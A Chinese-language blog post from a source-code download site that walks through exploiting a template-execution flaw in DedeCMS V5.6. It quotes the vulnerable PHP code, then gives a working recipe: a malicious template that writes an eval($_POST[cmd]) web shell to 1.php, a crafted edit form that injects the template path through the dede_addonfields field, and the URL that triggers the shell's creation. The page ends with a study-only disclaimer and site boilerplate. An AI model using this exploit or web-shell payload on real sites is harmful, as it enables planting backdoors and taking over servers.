DEDECMS网站管理系统模板执行漏洞_

作者 : 叶 落风前 本文共6548个字,预计阅读时间需要17分钟 发布时间: 2020-05-29 共45人阅读

织梦DEDECMS网站管理系统模板执行漏洞

一个不小心,你的服务器就会被黑客攻破,比如数据库密码过于简单,服务器密码过于简单,或者CMS系统漏洞。

 

下面是一个DEDE的模板执行漏洞。

漏洞描述:Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

 

1、member/article_edit.php文件(注入):

漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。 

//分析处理附加表数据

$inadd_f = '';

if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields

{

$addonfields = explode(';',$dede_addonfields);

if(is_array($addonfields))

{

print_r($addonfields);

foreach($addonfields as $v)

{

if($v=='')

{

continue;

}

$vs = explode(',',$v);

if(!isset(${$vs[0]}))

{

${$vs[0]} = '';

}

${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);

$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";

echo $inadd_f;

}

}

}

if($addtable!='')

{

$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//执行构造的sql

if(!$dsql->ExecuteNoneQuery($upQuery))

{

ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;");

exit();

}

}

 

2、include/inc_archives_view.php:

 

这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。 

 

//issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询

if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)

{

if(is_array($this->addTableRow))

{

$this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];

$this->Fields['templet'] = $this->addTableRow['templet'];//取值

$this->Fields['userip'] = $this->addTableRow['userip'];

}

$this->Fields['templet'] = (emptyempty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));

$this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));

$this->Fields['userip'] = (emptyempty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));

}

else

{

$this->Fields['templet'] = $this->Fields['redirecturl'] = '';

}

//获得模板文件位置

function GetTempletFile()

{

global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;

$cid = $this->ChannelUnit->ChannelInfos['nid'];

if(!emptyempty($this->Fields['templet']))

{

$filetag = MfTemplet($this->Fields['templet']);

if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;

}

else

{

$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);

}

$tid = $this->Fields['typeid'];

$filetag = str_replace('{cid}', $cid,$filetag);

$filetag = str_replace('{tid}', $tid,$filetag);

$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;

if($cid=='spec')

{

if( !emptyempty($this->Fields['templet']) )

{

$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;

}

else

{

$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";

}

}

if(!file_exists($tmpfile))

{

$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');

}

return $tmpfile;

}

 

漏洞利用:

 

1.上传一个模板文件:

 

注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是: 

 

uploads/userup/2/12OMX04-15A.jpg

 

模板内容是(如果限制图片格式,加gif89a): 

{dede:name runphp='yes'}

$fp = @fopen("1.php", 'a');

@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");

@fclose($fp);

{/dede:name}

 

2.修改刚刚发表的文章,查看源文件,构造一个表单: 

 

<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent"

action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">

<input type="hidden" name="dopost" value="save" />

<input type="hidden" name="aid" value="2" />

<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />

<input type="hidden" name="channelid" value="1" />

<input type="hidden" name="oldlitpic" value="" />

<input type="hidden" name="sortrank" value="1275972263" />

<div id="mainCp">

<h3 class="meTitle"><strong>修改文章</strong></h3>

<div class="postForm">

<label>标题:</label>

<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

<label>标签TAG:</label>

<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

<label>作者:</label>

<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

<label>隶属栏目:</label>

<select name='typeid' size='1'>

<option value='1' class='option3' selected=''>测试栏目</option>

</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

<label>我的分类:</label>

<select name='mtypesid' size='1'>

<option value='0' selected>请选择分类…</option>

<option value='1' class='option3' selected>hahahha</option>

</select>

<label>信息摘要:</label>

<textarea name="description" id="description">1111111</textarea>

(内容的简要说明)

<label>缩略图:</label>

<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>

<input type='text' name='templet'

value="../ uploads/userup/2/12OMX04-15A.jpg">

<input type='text' name='dede_addonfields'

value="templet,htmltext;">(这里构造)

</div>

<!– 表单操作区域 –>

<h3 class="meTitle">详细内容</h3>

<div class="contentShow postForm">

<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank">

<img border="0" alt="" src="/anquan/UploadFiles_3093/201008/20100819191753331.jpg" width="1010" height="456" /></a></div>

<p><?phpinfo()?>1111111</p>

" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" />

<iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%"

height="350" frameborder="0" scrolling="no"></iframe>

<label>验证码:</label>

<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />

<img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle"

style="cursor:pointer" onclick="this.src=this.src+'?'" />

<button class="button2" type="submit">提交</button>

<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>

</div>

</div>

</form>

 

提交,提示修改成功,则我们已经成功修改模板路径。

 

3.访问修改的文章:

假设刚刚修改的文章的aid为2,则我们只需要访问: 

http://127.0.0.1/dede/plus/view.php?aid=2 

即可以在plus目录下生成小马:1.php

完整源码网ym0.cc,专业提供制网站源码,网站模板,源码下载,商业源码,游戏源码,找源码就到完整源码网 免责声明:本站所提供的资源来自于网络,版权争议与本站无关,版权归原创者所有! 仅限用于学习和研究目的,不得将上述内容资源用于商业或者非法用途. 否则,一切后果请用户自负。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容资源。如果上述内容资对您的版权或者利益造成损害,请提供相应的资质证明,我们将于3个工作日内予以删除。 本站不保证所提供下载的资源的准确性、安全性和完整性,源码仅供下载学习之用! 如用于商业或者非法用途,与本站无关,一切后果请用户自负! 本站也不承担用户因使用这些下载资源对自己和他人造成任何形式的损失或伤害。 如有侵权、不妥之处,请联系站长以便删除。 敬请谅解!侵权/投稿邮箱:157529987@qq.com!
完整源码网-ym0.cc » DEDECMS网站管理系统模板执行漏洞_

常见问题FAQ

开通VIP的好处?
VIP会员根据等级在相应的有效期内享有本站所有资源免费下载资源的权力,免费查看隐藏内容的权力,免费查看视频的权力,同时本站商品还会获得打折价格,并且拥有其他特殊的权力。
完整源码支持最新版本吗?
完整源码网支持永久更新!

发表评论